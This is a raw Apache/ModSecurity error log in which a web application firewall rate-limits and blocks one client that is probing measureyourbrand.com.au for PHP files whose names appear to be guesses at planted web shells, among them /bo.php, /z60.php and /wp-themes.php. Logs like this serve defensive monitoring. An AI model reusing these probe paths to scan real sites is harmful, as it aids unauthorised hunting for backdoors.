[Wed Nov 26 00:50:00.449951 2025] [:error] [pid 14168:tid 14179] [client 4.241.179.168:9212] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/duplicand.php"] [unique_id "aSXeOPR-ZDU0QEgAIIu7SwAAAMg"]
[Wed Nov 26 00:50:00.808928 2025] [:error] [pid 14076:tid 14099] [client 4.241.179.168:9186] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/duplicand.php"] [unique_id "aSXeOHsB4Gz6Qw-pvBt-GAAAABI"]
[Wed Nov 26 00:50:01.144203 2025] [:error] [pid 2987:tid 3011] [client 4.241.179.168:9162] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/duplicand.php"] [unique_id "aSXeOc-djEt-pTzPxnz9vgAAAVY"]
[Wed Nov 26 00:50:01.673503 2025] [:error] [pid 14078:tid 14155] [client 4.241.179.168:9160] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/duplicand.php"] [unique_id "aSXeOdVXYbb0ii_rVoLanQAAAJI"]
[Wed Nov 26 00:50:01.991723 2025] [:error] [pid 28609:tid 28636] [client 4.241.179.168:9197] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/parturiency.php"] [unique_id "aSXeOSGGdT-nZJVs3x0n4AAAAZI"]
[Wed Nov 26 00:50:02.412731 2025] [:error] [pid 14078:tid 14156] [client 4.241.179.168:9210] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/parturiency.php"] [unique_id "aSXeOtVXYbb0ii_rVoLanwAAAJM"]
[Wed Nov 26 00:50:02.737429 2025] [:error] [pid 14078:tid 14153] [client 4.241.179.168:9090] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/parturiency.php"] [unique_id "aSXeOtVXYbb0ii_rVoLaoQAAAJA"]
[Wed Nov 26 00:50:03.127343 2025] [:error] [pid 14168:tid 14188] [client 4.241.179.168:9116] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/parturiency.php"] [unique_id "aSXeO_R-ZDU0QEgAIIu7UgAAANE"]
[Wed Nov 26 00:50:03.542133 2025] [:error] [pid 14076:tid 14104] [client 4.241.179.168:9097] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tithings.php"] [unique_id "aSXeO3sB4Gz6Qw-pvBt-JgAAABc"]
[Wed Nov 26 00:50:04.108405 2025] [:error] [pid 28739:tid 28779] [client 4.241.179.168:9100] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tithings.php"] [unique_id "aSXePBxGpKmlkG4FexTzKgAAAhE"]
[Wed Nov 26 00:50:04.348739 2025] [:error] [pid 28609:tid 28642] [client 4.241.179.168:9103] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tithings.php"] [unique_id "aSXePCGGdT-nZJVs3x0n4wAAAZg"]
[Wed Nov 26 00:50:04.596677 2025] [:error] [pid 14078:tid 14151] [client 4.241.179.168:9156] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tithings.php"] [unique_id "aSXePNVXYbb0ii_rVoLargAAAI4"]
[Wed Nov 26 00:50:04.864947 2025] [:error] [pid 28609:tid 28621] [client 4.241.179.168:9047] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww5.php"] [unique_id "aSXePCGGdT-nZJVs3x0n5AAAAYM"]
[Wed Nov 26 00:50:05.116877 2025] [:error] [pid 28609:tid 28618] [client 4.241.179.168:9159] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww5.php"] [unique_id "aSXePSGGdT-nZJVs3x0n5QAAAYA"]
[Wed Nov 26 00:50:05.462708 2025] [:error] [pid 14076:tid 14099] [client 4.241.179.168:9113] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww5.php"] [unique_id "aSXePXsB4Gz6Qw-pvBt-KgAAABI"]
[Wed Nov 26 00:50:05.798501 2025] [:error] [pid 28739:tid 28782] [client 4.241.179.168:9169] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww5.php"] [unique_id "aSXePRxGpKmlkG4FexTzMgAAAhQ"]
[Wed Nov 26 00:50:06.055472 2025] [:error] [pid 14077:tid 14117] [client 4.241.179.168:9194] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aSXePhG9n7UHEkwDTygCwAAAAEc"]
[Wed Nov 26 00:50:06.437385 2025] [:error] [pid 28739:tid 28765] [client 4.241.179.168:9158] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aSXePhxGpKmlkG4FexTzNAAAAgM"]
[Wed Nov 26 00:50:06.680414 2025] [:error] [pid 14077:tid 14111] [client 4.241.179.168:9157] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aSXePhG9n7UHEkwDTygCwQAAAEE"]
[Wed Nov 26 00:50:06.957695 2025] [:error] [pid 2987:tid 3011] [client 4.241.179.168:9202] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aSXePs-djEt-pTzPxnz9yAAAAVY"]
[Wed Nov 26 00:50:07.204754 2025] [:error] [pid 14078:tid 14153] [client 4.241.179.168:9176] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-themes.php"] [unique_id "aSXeP9VXYbb0ii_rVoLatQAAAJA"]
[Wed Nov 26 00:50:07.510298 2025] [:error] [pid 43843:tid 43857] [client 4.241.179.168:9143] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-themes.php"] [unique_id "aSXePxhx4v3NUNdMKDMgYwAAAcw"]
[Wed Nov 26 00:50:07.822737 2025] [:error] [pid 14168:tid 14176] [client 4.241.179.168:9195] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-themes.php"] [unique_id "aSXeP_R-ZDU0QEgAIIu7WgAAAMU"]
[Wed Nov 26 00:50:08.112748 2025] [:error] [pid 28609:tid 28630] [client 4.241.179.168:9035] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-themes.php"] [unique_id "aSXeQCGGdT-nZJVs3x0n7QAAAYw"]
[Wed Nov 26 00:50:08.498514 2025] [:error] [pid 43843:tid 43862] [client 4.241.179.168:9167] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edd.php"] [unique_id "aSXeQBhx4v3NUNdMKDMgZQAAAdE"]
[Wed Nov 26 00:50:08.786661 2025] [:error] [pid 28836:tid 29007] [client 4.241.179.168:9174] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edd.php"] [unique_id "aSXeQJwNRsoxcLQGkTcbZAAAAtE"]
[Wed Nov 26 00:50:09.160981 2025] [:error] [pid 28836:tid 28962] [client 4.241.179.168:9161] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edd.php"] [unique_id "aSXeQZwNRsoxcLQGkTcbZgAAAsc"]
[Wed Nov 26 00:50:09.502048 2025] [:error] [pid 14168:tid 14184] [client 4.241.179.168:9208] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edd.php"] [unique_id "aSXeQfR-ZDU0QEgAIIu7XQAAAM0"]
[Wed Nov 26 00:50:09.768977 2025] [:error] [pid 14168:tid 14187] [client 4.241.179.168:9107] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aSXeQfR-ZDU0QEgAIIu7XgAAANA"]
[Wed Nov 26 00:50:10.024347 2025] [:error] [pid 14168:tid 14181] [client 4.241.179.168:9109] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aSXeQvR-ZDU0QEgAIIu7XwAAAMo"]
[Wed Nov 26 00:50:10.358710 2025] [:error] [pid 43981:tid 44006] [client 4.241.179.168:9165] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aSXeQggZn97m_qh_RaGWegAAAxc"]
[Wed Nov 26 00:50:10.727110 2025] [:error] [pid 28739:tid 28763] [client 4.241.179.168:9181] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aSXeQhxGpKmlkG4FexTzPgAAAgE"]
[Wed Nov 26 00:50:11.000520 2025] [:error] [pid 14076:tid 14100] [client 4.241.179.168:9128] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bn.php"] [unique_id "aSXeQnsB4Gz6Qw-pvBt-LQAAABM"]
[Wed Nov 26 00:50:11.278935 2025] [:error] [pid 28739:tid 28786] [client 4.241.179.168:9187] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bn.php"] [unique_id "aSXeQxxGpKmlkG4FexTzQgAAAhg"]
[Wed Nov 26 00:50:11.614809 2025] [:error] [pid 43981:tid 43991] [client 4.241.179.168:9206] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bn.php"] [unique_id "aSXeQwgZn97m_qh_RaGWfAAAAwg"]
[Wed Nov 26 00:50:12.068608 2025] [:error] [pid 43843:tid 43869] [client 4.241.179.168:9178] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bn.php"] [unique_id "aSXeRBhx4v3NUNdMKDMgaQAAAdg"]
[Wed Nov 26 00:50:12.389743 2025] [:error] [pid 28836:tid 28967] [client 4.241.179.168:9153] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fishmen.php"] [unique_id "aSXeRJwNRsoxcLQGkTcbbAAAAsw"]
[Wed Nov 26 00:50:12.774508 2025] [:error] [pid 14076:tid 14098] [client 4.241.179.168:9094] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fishmen.php"] [unique_id "aSXeRHsB4Gz6Qw-pvBt-MgAAABE"]
[Wed Nov 26 00:50:13.063669 2025] [:error] [pid 2987:tid 3001] [client 4.241.179.168:9170] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fishmen.php"] [unique_id "aSXeRc-djEt-pTzPxnz9zQAAAUw"]
[Wed Nov 26 00:50:13.347265 2025] [:error] [pid 14078:tid 14143] [client 4.241.179.168:9180] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fishmen.php"] [unique_id "aSXeRdVXYbb0ii_rVoLawQAAAIY"]
[Wed Nov 26 00:50:13.715308 2025] [:error] [pid 28836:tid 28960] [client 4.241.179.168:9058] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/obfuscous.php"] [unique_id "aSXeRZwNRsoxcLQGkTcbbwAAAsU"]
[Wed Nov 26 00:50:13.992663 2025] [:error] [pid 28739:tid 28771] [client 4.241.179.168:9128] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/obfuscous.php"] [unique_id "aSXeRRxGpKmlkG4FexTzRgAAAgk"]
[Wed Nov 26 00:50:14.331617 2025] [:error] [pid 14076:tid 14094] [client 4.241.179.168:9163] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/obfuscous.php"] [unique_id "aSXeRnsB4Gz6Qw-pvBt-OQAAAA0"]
[Wed Nov 26 00:50:14.695835 2025] [:error] [pid 14076:tid 14081] [client 4.241.179.168:9089] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/obfuscous.php"] [unique_id "aSXeRnsB4Gz6Qw-pvBt-PAAAAAA"]
[Wed Nov 26 00:50:15.001877 2025] [:error] [pid 28609:tid 28625] [client 4.241.179.168:9147] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oitava.php"] [unique_id "aSXeRyGGdT-nZJVs3x0n9gAAAYc"]
[Wed Nov 26 00:50:15.238426 2025] [:error] [pid 14078:tid 14155] [client 4.241.179.168:9119] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oitava.php"] [unique_id "aSXeR9VXYbb0ii_rVoLaxgAAAJI"]
[Wed Nov 26 00:50:15.581210 2025] [:error] [pid 28739:tid 28770] [client 4.241.179.168:9096] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oitava.php"] [unique_id "aSXeRxxGpKmlkG4FexTzSgAAAgg"]
[Wed Nov 26 00:50:15.846542 2025] [:error] [pid 28739:tid 28768] [client 4.241.179.168:9062] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oitava.php"] [unique_id "aSXeRxxGpKmlkG4FexTzTQAAAgY"]
[Wed Nov 26 00:50:16.154470 2025] [:error] [pid 28609:tid 28627] [client 4.241.179.168:9213] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phrensying.php"] [unique_id "aSXeSCGGdT-nZJVs3x0n9wAAAYk"]
[Wed Nov 26 00:50:16.456785 2025] [:error] [pid 14078:tid 14153] [client 4.241.179.168:9207] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phrensying.php"] [unique_id "aSXeSNVXYbb0ii_rVoLayQAAAJA"]
[Wed Nov 26 00:50:16.728797 2025] [:error] [pid 2987:tid 3010] [client 4.241.179.168:9171] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phrensying.php"] [unique_id "aSXeSM-djEt-pTzPxnz94gAAAVU"]
[Wed Nov 26 00:50:17.016535 2025] [:error] [pid 14076:tid 14090] [client 4.241.179.168:9189] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phrensying.php"] [unique_id "aSXeSXsB4Gz6Qw-pvBt-QAAAAAk"]
[Wed Nov 26 00:50:17.251799 2025] [:error] [pid 14078:tid 14160] [client 4.241.179.168:9200] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pyrometry.php"] [unique_id "aSXeSdVXYbb0ii_rVoLazAAAAJc"]
[Wed Nov 26 00:50:17.486664 2025] [:error] [pid 14078:tid 14149] [client 4.241.179.168:9025] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pyrometry.php"] [unique_id "aSXeSdVXYbb0ii_rVoLazQAAAIw"]
[Wed Nov 26 00:50:17.823309 2025] [:error] [pid 2987:tid 2996] [client 4.241.179.168:9130] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pyrometry.php"] [unique_id "aSXeSc-djEt-pTzPxnz94wAAAUc"]
